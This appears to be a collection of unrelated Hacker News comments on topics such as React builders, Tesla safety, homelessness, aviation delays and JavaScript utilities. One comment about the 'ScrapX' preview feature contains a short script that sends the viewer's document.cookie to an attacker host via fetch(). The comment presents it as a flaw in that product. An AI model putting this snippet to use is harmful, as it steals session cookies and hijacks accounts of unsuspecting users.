skysight-inc/HackerNews huggingface dataset:
We have a lot of respect for the work Builder.io is doing! If you're using Plasmic as a CMS, then there is a lot of overlap there. But Plasmic is a general visual React app builder, and as such, it comes with a lot of the abstractions and power you need to build a full React app. For example, you can craft reusable components in Plasmic that have different variants and have stateful behavior, and you can make use of abstractions like style tokens. Whereas Builder.io's UI is pretty focused on building individual pages, Plasmic is more about building the intermediate, reusable pieces of your app -- components, tokens, etc -- that you can then compose into pages and experiences. Using Plasmic will feel a little more like working on a full React application... for better or worse
Here is a breakdown of a WoW skybox by a Blizzard artist: https://80.lv/articles/how-to-create-skies-for-3d-games/

TLDR. it’s multiple skybox meshes layered
How does a color blind person know if it's green or red at a traffic light?

They can still see shades of gray and position.
I was mainly surprised how fast NumPy can be if you push it. KlongPy is effectively a NumPy DSL (array language). So vector thinking is natural.
The tone and energy you are sending is kinda sus.

You are arguing you would rather treat them worse. Cruelty for the sake of it... because anything else would be 'undeserving burdens' on the 'honest working class folk'. If helping one group hurts another (in your mind), of course that's how you would think. Powers that be conditioned you to think (falsely) it's a zero sum game.

People that have mental health issues need help they are not getting on the streets, there just isn't enough to go around.

Addiction is a weird one for me. people call it a disease, your brain undergoes physical changes. disease is a loosy-goosy word I've come to learn (psychological disorders count as diseases apparently?). Addiction doesn't have to start with 'a choice (on the user's part)', but commonly does - which is why I comprehend that some people blame the user for their addiction.

But the core reason people turn to stuff on the streets is: the streets suck. Get people off the streets... suddenly their outlook improves. Funny that!

And yes, the reduced crime/asset rate probably is worth $X coming from taxes spend on this. That's an easy calculation - human live /comfort should be priced fairly high.
But Tesla sells a system which lulls the human brain into involuntary complacency. A mind cannot babysit a machine. Here, Tesla is the bartender.
That happens for the first 8 hours.
Your competitor can also just steal your "ScrapX" account if you view their site using the "Rendered HTML" preview, fun right?

You just add a little bit of extra JS onto your site:

<script>
if (document.location.ancestorOrigins[0].includes("scrapx.io")) {
fetch("https://attackersite.com/test123/"+document.cookie)
}
</script>
That assumes the crowd has wisdom/some information that should be reflected in stock prices, instead of just buying based on FOMO/emotion
To be fair — and unfortunately — the original title is different: “NASA's Webb Rings in the Holidays with the Ringed Planet Uranus”.

The submitter actually changed it from the original title (unless the title has been updated since it was submitted).
If there were nothing remotely illegal about this then there would not be the current situation.

Your premise of wife beating is unfounded and closer to what you’re accusing ironically imo.
> To enable the motor, pull this pin LOW and then wait 500ms.

No wonder floppies were sooo daaarn sloooooow.
That'd work great until someone realizes there's all these bins of precollected trash all over the place. Perverse incentives.
The mindset can be next. If you are so confident about product success - just invest your money and pay for the development. If you do not have this confidence - why should engineer invest the time to implement your idea?
Thanks for the tip, will play with Mixtral.
Just a quick google search shows

- Model 3: 3,862 to 4,048 lbs

- Camry: 3,310 to 3,595 lbs

Comparing those two lower numbers we see a 15.39% increase for model 3. That's significant when it comes to collisions with pedestrians.

It becomes really drastic when comparing trucks..

- Tacoma: 3,915 lbs

- Cybertruck: 6,843 lbs

54% increase. Sure, Cybertruck can pull more and whatever, but more than 99% of trips made in these behemoths will be to the grocery store/soccer games.

Don't get me wrong, I'm pro-EV. You can make up for a 15% weight difference by adding other safety features to a car. But it's when we talk about the cybertrucks and copy-cats to come that I think we need to seriously consider heavily regulating who drives those sorts of vehicles. I have a coworker who uses Tesla self-driving heavily, I've been in a near head-on collision in her model 3 due to it. She's getting a Cybertruck soon and I fear for the lives of those people daring to cross a street in front of that thing.
Realistic attacks tend to involve doing many different runs of the algorithm with different values of whatever input is timing-dependent. That includes this attack, where you’re doing many different TLS connections which result in different messages being decrypted, and the runtime depends on the message.

If you couldn’t vary the timing-dependent input, then you could effectively only measure a single duration value per target; doing multiple runs would just reduce noise. It’s very unlikely that a single duration would have enough information to recover a full key. So this is already a hopeless scenario for the attacker.

But if you can vary the timing-dependent input, then you can compare timing between different runs on the actual target machine; there’s no need to reproduce the exact timing profile on your own machine (which is very difficult anyway outside of small embedded CPUs). So a random delay per machine does not help.

Adding delays to sensitive parts of the algorithm either would be equivalent to adding a single overall delay (if the number of delay invocations is constant), or would make the attack much easier (if not).
Pixel 8 Pro here, using DDG browser, smooth for me.
It's fairly easy to roll your own. An example implementation of groupBy in lodash, for example: https://github.com/lodash/lodash/blob/4.17.15/lodash.js#L939....

More broadly, this is an example of a utility function for organizing data in a data structure, which JavaScript and all other major programming languages are well-equipped to implement in arbitrary ways, so this is just a convenience function. It's not like a hook into underlying environment APIs that can't be independently shimmed.
Yes. The driver is invariably the most important variable.
Withings Android battery drain issue with watches
It can be trivially rolled by hand, but it’s also a pretty common function in other languages. I’d guess most node programmers reach for lodash for this.
I've never met a Tesla owner that bought because a politician told them to.
I'm not asking for money. I don't have a laptop, as I returned the last one like-new to the donor (per the text).

If you need help, ask. Hopefully someone will offer help.

If you are in the USA, have a disability, and can seek treatment, there are resources to help.
Can you get to some specifics? Specifically, what is in NYC that you cannot possibly get in Chicago for example?
Are you referring to the original Domesday Book, or the issue with difficulty reading the Domesday Book laserdiscs, produced in the 1980s, as the hardware became obsolete?

https://en.wikipedia.org/wiki/BBC_Domesday_Project
Fwiw fuel emergency is nowhere near crashing the plane.

A full blow “mayday fuel” may be declared because at that point the usable fuel on landing will be less than final reserve. Final reserve is 30mn of holding flight.
Just to be clear: You would like me to give you relatively precise geographic information about where I live in a thread full of people who are spouting angry dehumanizing language for the vague promise of giving a random person money based on an ill-conceived lottery system that also permits a single subjective judgment by you to disqualify them from receiving it?
I don't disagree, but my response was directed to someone who was commenting on the average American. Didn't seem reasonable to interpret them differently just to build a more convincing answer.
> they are fast and cheap to run.

But expensive to write. Especially if you want them to be fast and cheap to run.
Blahhh, this is difficult.

On the one hand, it's absolutely important to have an understanding of your sources but on the other... it doesn't discount the value of the statement itself. (Rather it provides context)

I'm honestly not defending Charlie Chaplin, he was in my opinion a irredeemably awful person. At the same time, it would be both academically and emotionally lazy not to give him credit where it is due.

He did in fact use his considerable influence and privilege to highlight the plight of the jews during a time where they were radically persecuted (literally being slaughtered on the street and sent to extermination camps) and no meaning benefit to himself is something I'd deem worthy of my respect.

History and people are both complex and it's entirely possible to celebrate a bad person's good deed without being considered a "mark"
Accessible healthcare, social services for the impovershed, accessible education, really anything that lifts people out of the despair or anger that drives them to committing crime.
I have a similar setup with the same kind of sensor. It just doesnt register the matress at all. My guess is that the matress weight is evenly distributed so it doesnt actually put that much pressure on the sensor.
Is that usable in D2 remasterd?
I don't really care how it's delivered, as long as it's a regular payment throughout the year that people can depend on.

(US specific) The monthly advanced child tax credit, effectively a negative tax, lifted hundreds of thousands of children out of poverty for the short time it existed. Building that into a permanent, regular, universal cash transfer is not mechanically difficult but is intractable politically.
It can absolutely be written in JavaScript (it is a Turing complete language after all), and it is a common utility function found in most general utility libraries like Lodash and Ramda.
From old news reports, it was at least as much about not wanting to expend the effort to move the boxes when they relocated offices at some point. Not that that is any better.
Did the UK government ever had a regime change since 1066?
I think that target consumer you’re referring to have moved on from modded Integras, Civics, RSXs, and GR86/BRZ Rice Rockets to Tesla Model 3s. You certainly get more HPs/lbft torque for the buck and you don’t even need to tune it. All those people sporting vinyl decals on their cars these days are Model 3 owners.
I found that part delightfully ironic, because it's basically a meme that whenever a flight is delayed ground staff/pilots will always tell passengers "we'll just be off in just a few minutes" over and over again regardless of how long the delay is going to be.
IPC is not a good performance metric - especially for an instruction set like x86, but particularly for SIMD ISAs. Two seemingly similar instructions sequences may get decoded into a different number of uops, which in turn occupy different execution ports. The most extreme example of this being scalar code without stalls. It tends to have high IPC, even though it makes no use of FP/SIMD ports.

Keeping the execution pipeline busy is not a useful goal in isolation. Really, IPC is better left as a sanity check.
I've never seen some consensus as to the definition of free will to the extent that it was testable. As in, "What experiment can we perform to show this thing has free will?" or "Define free will in such a fashion that a universe with free will is notably and different from a universe without free will, in a manner we can detect."

If we cannot do that, I am not even sure what the point is of discussing the concept. It is like some box we are told lies sealed in a distant continent, and we argue about what is in the box. Why? We'll never know, and the answer doesn't seem to change anything.
> My fellow Canadians need to feel the impact to remind them of how awful this government is.

That is a pretty general blanket statement. I don't agree with alot of the choices the current government has made, but I also don't believe there is an effective, credible alternative in Canada at the moment. The current front-runner's biggest claim to fame is that he is the last sock-puppet standing from the previous Harper administration, and has not yet released a substantial platform or initiative that should galvanize people besides "Trudeau bad" and "wokeness bad".
It will never be tidy enough to show other people, or at least that's the way it will feel. People would love to see what is done anyway, as this sounds like a fascinating project. Even just a basic walkthrough of how you currently use the system will be valuable.
The law might say that (that's step 1 in the culture change). But the police won't arrest. And if the police arrest, the prosecutors won't charge. And if the prosecutors charge, a judge/jury won't convict. Every one of those people along the way think "there, but for the grace of god, go I". They all drive to work, fussing with their phones while doing it, and just can't bring themselves to consider it a crime. It really is very much like drunk driving in that way.

https://www.dailynews.com/2014/08/27/no-charges-for-lasd-dep...

https://www.scribd.com/document/237940150/Official-document-...
Fascinating article. If this catches your attention, do check out The Prokudin-Gorskii Photographic Record Recreated: The Empire That Was Russia[^1] exhibit at the Library of Congress website. Not only is it a technological marvel itself, but you'll get to see some of the earliest known color photography, which itself is on par with Hockney's _Secret Knowledge_ [^2] (a classic for hackers and painters alike).

[^1]: https://www.loc.gov/exhibits/empire/

[^2]: https://en.wikipedia.org/wiki/Hockney–Falco_thesis
Building a Custom Shopify Storefront
Turns out the new regulation for chargers and USB-C universal compatibility actually demands USB Power Delivery [1] support, but I guess it's too early to expect compliance with that.

Even without that, one would hope that part of the compliance tests includes actual compliance with whatever port specification is being used - I don't think any part of the USB spec allows for 7.5V, but I might be wrong. You just wouldn't expect, say, a portable battery to have a standard Schuko plug but output 330V while bearing the CE mark.

[1] https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CEL...
Sure. UBI would probably work best paired with universal healthcare that covers special needs cases.
Why would you even ask a question like this? It’s clear that our society has issues that stem from people’s inability to navigate our complicated modern world. Your “why not just let them suffer” provocation adds nothing productive to this discussion.
But why is it OK if you dismiss someone's lived experience AND a few studies in favor of what is only your lived experience?

Given the demographics of the site and people's explicitly stated experiences, it seems plenty of the people disagreeing have had experiences similar to yours.
The controller tried to give an estimated time, but that original estimate was blown out of the water by the other planes in the queue taking longer than expected, and the controller didn't have time to keep trying to give an updated estimated time to the one plane in the queue that wanted to do things the hard way (that also, due to circumstances within its own control, departed its original airport late and arrived outside of the window where SFO could have accommodated its silly request without any delays).
There are hackers that sell a service to unlock locked iPhones/iPads/MacBooks. The typical technique is to phish victims, contact their lost phone contacts, impersonate police.

This assumes that the thief didn't simply observe/record the pin code unlock before stealing the phone.

https://www.vice.com/en/article/jgmygb/checkm8-info-remove-i...

https://www.reddit.com/r/applehelp/comments/wp4t7t/would_wip...

https://www.howtogeek.com/829425/scammers-tricking-people-in...

https://www.macrumors.com/2023/04/19/apple-responds-to-iphon...
Lots of "solutions" to homelessness are possible if you're willing to take away their rights, which is what happened to them (and many others) during the pandemic.
Comcast Xfinity data breach affects over 35M people
Fibaro makes a similar device in a smaller form factor as well

https://www.thesmartesthouse.com/collections/fibaro/products...
i feel like this is simply due to the increasing ubiquity of the internet, such that it isn't "the internet" any more but a bunch of people doing a bunch of things, some of which happen to use the internet. replace "online" with "in the world" and the absurdity of trying to keep up with it all as though it's a single entity becomes more obvious.
If you are looking for such things, I thought that "The Shadow of Angmar" by Steelbadger does a mostly-good job of telling a story in a Tolkien-like style. It's a LOTR/Harry Potter crossover fanfic that is well regarded in its little niche. Unfortunately, it's not finished. The author says he hasn't given up on it, but there haven't been any updates in a while. There is enough to be quite a good read though. I would say it was/is intended to have three main arcs. The first two arcs are completed and online. I can imagine what was intended for the third, and it seems very difficult to do, which might explain why the author hasn't yet attempted it.
Yeah Long Covid appears to have a component that is serotonin syndrome, basically a chronic depletion in serotonin. For many people SSRIs also help based on recent studies.
It is pretty excruciating (and IMO useless) to write true, DB-isolated unit tests for DB access layer code.
Disregarding the fact that I see many ways to ethically stop corruption, when an individual *acts* in the name of a corporation, the action is a result of the corporation's functioning, not of the individual's will (were it not so, the individual would have misappropriated the funds, to my understanding).
No they buy because techno-utopian cult leader Elon Musk told them so, the political handouts just gave them an extra 8000$ reasons to make it palatable to the family budget to buy a go kart for rich people.
So Figma’s just Omnigraffle with a multiplayer mode?
My solution to that problem is bring more oblivious than they are mad. You can get 1" behind my car for all I care I won't even notice.
From Wikipedia

Until the early 1960s, most front turn signals worldwide emitted white light and most rear turn signals emitted red. Amber front turn signals were voluntarily adopted by the auto industry in the USA for most vehicles beginning in the 1963 model year,[40][41] though the advent of amber signals was accompanied by legal stumbles in some states[42] and front turn signals were still legally permitted to emit white light until FMVSS 108 took effect for the 1968 model year, whereupon amber became the only permissible front turn signal colour. Presently, almost all countries outside North America require that all front, side and rear turn signals produce amber light. In North America the rear signals may be amber or red. American regulators and other proponents of red rear turn signals have historically asserted there is no proven safety benefit to amber signals, though it has been recognized since the 1960s that amber turn signals are more quickly spotted than red ones.[43][44][45] International proponents of amber rear signals say they are more easily discernible as turn signals,[46] and U.S. studies in the early 1990s demonstrated improvements in the speed and accuracy of following drivers' reaction to stop lamps when the turn signals were amber rather than red.[46][47][48][49][50] A 2008 U.S. study by the National Highway Traffic Safety Administration (NHTSA) suggests vehicles with amber rear signals rather than red ones are up to 28% less likely to be involved in certain kinds of collisions,[51] and a 2009 NHTSA study determined there is a significant overall safety benefit to amber rather than red rear turn signals.[52]

http://en.wikipedia.org/wiki/Automotive_lighting#Turn_signal...

I was taught that it’s really about saving money by having fewer parts though. One color light means rear lights can double up as signals AND brake lights. But the whole debate about it is fascinating and a great little history lesson.
"force a plugin on users" literally it says "Activate?" and you just close the window ffs
paper link here https://www.nature.com/articles/s41557-023-01383-y i thought this sentence from the abstract was interesting 'Given that a cell is unlikely to develop resistance to such molecular mechanical forces...' I wonder if someone could explain what basis there for believing that cells couldn't develop such resistance. Is the difference in energies that high?
I'm surprised a computer assisted landing sequence can't _increase_ the rate of landed planes, though I assume doing so would require subordinating all the inbound aircraft to the local traffic control system.
Yes. I've been a long time Linux PC user (Thinkpads and Dell mostly) so without any shame, I have to admit that the quality of Apple devices is miles ahead anything else I've tried. Also yes, I simply cannot stand MacOS. I can recognise its virtues (and its limitations) but it's just not for me.
While I believe the impact of LLMs is often overstated, I'd like to hear what you really mean that they are not AI any more than spell checker. Arguably an LLM is significantly closer to AI than a spell checker.
There was a major airliner crash at JFK caused (partly) by poor communication between pilots and ATC, resulting in the plane running out of fuel,

https://en.wikipedia.org/wiki/Avianca_Flight_052 (1990)

https://admiralcloudberg.medium.com/the-words-not-spoken-the...

There was a similar fact pattern to the OP: the pilots relied on time estimates from ATC which turned out to be inaccurate,

- "Due to the air traffic controllers giving ultimately untrue delay estimations the flight became critically low on fuel."
It is indeed something that you often roll your own, write an utility function for, or include libraries like lodash for.

JS standard library is notoriously deficient.

This is a good addition in my view too, especially including Map.

When dealing with DB/API results, one can of course always say that such grouping in the client is an anti-pattern.

But in reality it can be reasonable and useful.

If you write one-off algorithms in JS to transform small amounts of data on the client, you probably habe done this.

And even for data-heavy applications, it could prove to be a performance benefit for functions that use Map instances during computation.

Though that's just wishful thinking until the runtime developers choose to optimize these functions, if possible.
I have gotten some pushback here (which is understandable) for saying that I think a lot of long covid is actually anxiety. And I say that because I am intimately familiar with it. I have had crippling physical symptoms that are alleviated almost instantly by benzodiazepines and so when I hear examples of other psychological medications (if we want to classify psilocybin as such; I've taken it myself for similar reasons) giving such immediate relief, it deepens my suspicion that long covid is more of a psychological issue than a purely physical one (though I have a hard time expressing that exactly because the longer I live, the more I find it hard to separate the psychological from the physical; mind and body may not be one exactly but they are inseparable. I hope that that is t least somewhat understandable). I also do not mean this to say that I think that there are no physical long covid effects; clearly some people carry those scars as well.